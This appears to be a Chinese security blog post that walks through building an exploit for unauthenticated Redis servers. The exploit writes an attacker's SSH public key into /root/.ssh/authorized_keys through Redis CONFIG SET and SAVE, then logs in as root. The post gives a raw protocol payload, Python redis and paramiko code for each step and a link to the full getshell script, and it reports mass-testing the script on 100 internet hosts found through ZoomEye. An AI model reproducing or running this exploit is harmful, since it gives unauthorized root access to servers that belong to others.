cdxy.me
Footprints on Cyber Security and Python

不了解该漏洞建议先看这个文章

Redis 未授权访问配合 SSH key 文件利用分析

漏洞利用流程

1 生成一对用于ssh验证的密钥对

2 通过redis未授权访问漏洞,向redis插入一条记录,内容为已生成的公钥

3 通过redis数据导出功能,将含有公钥的数据导出到/root/.ssh/authorized_keys

4 使用自己的主机,通过ssh私钥与受害机进行匹配并登入

自动化的限制

用exp做自动化getshell的限制主要有以下几点:

1 以root用户运行Redis,且未设置安全策略

2 Linux,port 22,且无防火墙

3 ssh配置支持该登录方式

 

编写exp

协议分析及Payload构造

发送一条info命令

xy@kali:~$ redis-cli -h 42.62.xxx.xxx 
42.62.xxx.xxx:6379> info
# Server
redis_version:3.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:738a2bf67b2f8a28
redis_mode:standalone

使用wireshark抓包分析协议格式

wireshark-1

构造出payload

payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'

这样就能检测出未授权访问漏洞了, 例如这个Seebug提供的PoC:

def _verify(self):
        result = {}
        payload = '\x2a\x31\x0d\x0a\x24\x34\x0d\x0a\x69\x6e\x66\x6f\x0d\x0a'
        s = socket.socket()
        socket.setdefaulttimeout(10)
        try:
            host = urlparse.urlparse(self.url).netloc
            port = 6379
            s.connect((host, port))
            s.send(payload)
            recvdata = s.recv(1024)
            if recvdata and 'redis_version' in recvdata:
                result['VerifyInfo'] = {}
                result['VerifyInfo']['URL'] = self.url
                result['VerifyInfo']['Port'] = port
        except:
            pass
        s.close()
        return self.parse_attack(result)

我们可以仿造这个思路编写exp,只需要抓取->分析->按规则构造各个必要的请求包,并判断返回字段,像这样:

redis-2

利用Python-redis库

这就比较简单了. 首先判断是否存在未授权访问漏洞

r = redis.Redis(host=ip, port=port, db=0)
if 'redis_version' in r.info():

然后执行redis命令,将公钥写入目标位置

r.set(randomString(10), '\n\n' + public_key + '\n\n')
r.config_set('dir', '/root/.ssh')
r.config_set('dbfilename', 'authorized_keys')
r.save()

之前要判断目标22端口是否开放

def checkPortTcp(target, port):
    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sk.settimeout(10)
    try:
        sk.connect((target, port))
        return True
    except Exception:
        return False

最后对ssh做连接测试

def testConnect(ip, port=22):
    try:
        s = paramiko.SSHClient()
        s.load_system_host_keys()
        s.connect(ip, port, username='root', pkey=private_key, timeout=10)
        s.close()
        return True
    except Exception, e:
        if type(e) == SSHException:
            return True
        return False

完整exp代码

https://github.com/Xyntax/POC-T/blob/master/script/redis-sshkey-getshell.py

批量检测

从ZoomEye获取100个结果并使用我们编写的脚本进行验证,效果如下 验证效果图

这里paramiko的ssh连接有个问题,并没有做到100%无误报.

接下来可以手动测试一下是否可以登入ssh

事实上跑了一定数据之后,觉得收获不如预期,毕竟这个漏洞可以灵活的控制的因素太多.